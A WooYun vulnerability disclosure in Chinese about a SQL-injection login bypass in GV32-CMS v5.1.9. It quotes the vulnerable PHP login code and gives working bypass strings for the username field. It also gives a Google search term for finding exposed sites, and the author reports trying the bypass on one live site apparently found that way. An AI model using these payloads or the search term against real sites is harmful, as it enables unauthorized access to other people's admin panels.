当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-041438

漏洞标题:GV32-CMS企业建站系统万能密码漏洞

相关厂商:GV32-CMS

漏洞作者: hackisyou

提交时间:2013-10-30 15:33

修复时间:2014-01-28 15:34

公开时间:2014-01-28 15:34

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:8

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-10-30: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-01-28: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

GV32-CMS企业建站系统 v5.1.9
官方是这么说的: GV32-CMS企业建站系统,是一项基于PHP+MYSQL为核心开发的一套免费 + 开源专业企业建站系统。软件具执行效率高、模板自由切换、后台管理功能方便等诸多优秀特点。全部代码都为GV32.COM原创,有着完全的知识产权。凭借 GV32.COM的不断创新精神和认真的工作态度,GV32-CMS企业建站系统已成国内外同类软件中的最好用的企业建站系统!
这尼玛最后一句话惊呆了我,于是开始研究,竟然发现网站竟然存在万能密码及getshell漏洞

详细说明:

详细:看到 后台登入验证文件
\adminsys\login.php
01.function actlogin( )
02. {
03. $use_nameval = $GLOBALS['Reque'] -> funpost("use_name"); /*木有过滤, 你懂得
04. $use_pwdval = $GLOBALS['Reque'] -> funpost("use_pwd");
05. $use_captchaval = $GLOBALS['Reque'] -> funpost("use_captcha");
06.
07. $this -> logincount();
08.
09. if($use_captchaval!=$_SESSION["Img"])
10. {
11.
12. $GLOBALS['Templ'] -> assign('infomessage',$GLOBALS['_LANG']['bd_captchaerror']);
13. $GLOBALS['Templ'] -> assign('URL_TIME',URL_TIME);
14. $GLOBALS['Templ'] -> assign('geturl',EMPLOYEE_WEBURL."/login.php?load=login&act=act");
15. $GLOBALS['Templ'] -> display('suggestion_tpl.html');
16. }else{
17.
18. $sqlQuery = " SELECT use_id,use_name,use_email FROM ".SQL_PREFIX."user WHERE use_name= '".$use_nameval."' AND use_pwd = '".md5($use_pwdval)."' and use_enabled = 1 LIMIT 1 ";
19. //exit();
20. $adminInfo["emplyeeUser"] = $GLOBALS['MySql'] -> selectOne($sqlQuery);
21.
22. if($adminInfo["emplyeeUser"]["use_id"])
23. {
24. $GLOBALS['WebSe'] -> SetSession( $adminInfo );
25.
26. $nowtime = time();
27.
28. $adminip = $GLOBALS['Helpe'] -> getip();
29. //登录成功更新用户信息
30. $sqlup = " UPDATE ".SQL_PREFIX."user set use_logcount = use_logcount +1 , use_loginip = '".$adminip."', use_logintime = ".$nowtime." WHERE use_name= '".$use_nameval."' and use_id = ".$adminInfo["emplyeeUser"]["use_id"]." LIMIT 1 " ;
31. $GLOBALS['MySql'] -> querySql($sqlup);
32.
33. //登录成功!重置IP错误信息清0!
34. $updateip = "UPDATE `".SQL_PREFIX."loginerror` SET errorcount = 0 WHERE ip_address = '".$adminip."' AND logtype = 'login' ";
35. $GLOBALS['MySql'] -> querySql( $updateip );
36.
37. $GLOBALS['Templ'] -> assign('infomessage',$GLOBALS['_LANG']['bd_loginsusse']);
38. $GLOBALS['Templ'] -> assign('URL_TIME',URL_TIME);
39. $GLOBALS['Templ'] -> assign('geturl',EMPLOYEE_WEBURL);
40. $GLOBALS['Templ'] -> display('suggestion_tpl.html');
41. //var_dump($_SESSION);
42. }else{
43. $GLOBALS['Templ'] -> assign('infomessage',$GLOBALS['_LANG']['bd_usererror']);
44. $GLOBALS['Templ'] -> assign('URL_TIME',URL_TIME);
45. $GLOBALS['Templ'] -> assign('geturl',EMPLOYEE_WEBURL."/login.php?load=login&act=act");
46. $GLOBALS['Templ'] -> display('suggestion_tpl.html');
47.
48. /*
49. header("location:".EMPLOYEE_WEBURL."/login.php?load=login&act=act");
50. exit();
51. */
52.
53. }
54. }
55. }

可以看出没有过滤 use_name
用万能密码admin 'or '1'='1(填账号那里)就能进去了
当然 ,有时候 帐号不是 admin
我们仔细 分析下01.$sqlQuery = " SELECT use_id,use_name,use_email FROM ".SQL_PREFIX."user WHERE use_name= '".$use_nameval."' AND use_pwd = '".md5($use_pwdval)."' and use_enabled = 1 LIMIT 1 ";可以构造成a' or 1 = 1 or '1'='1,直接秒杀之

漏洞证明:

随便测试一下,谷歌搜索关键字adminsys\login.php,直接看一个

1.jpg

2.jpg

3.jpg

修复方案:

加强后台过滤

版权声明:转载请注明来源 hackisyou@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝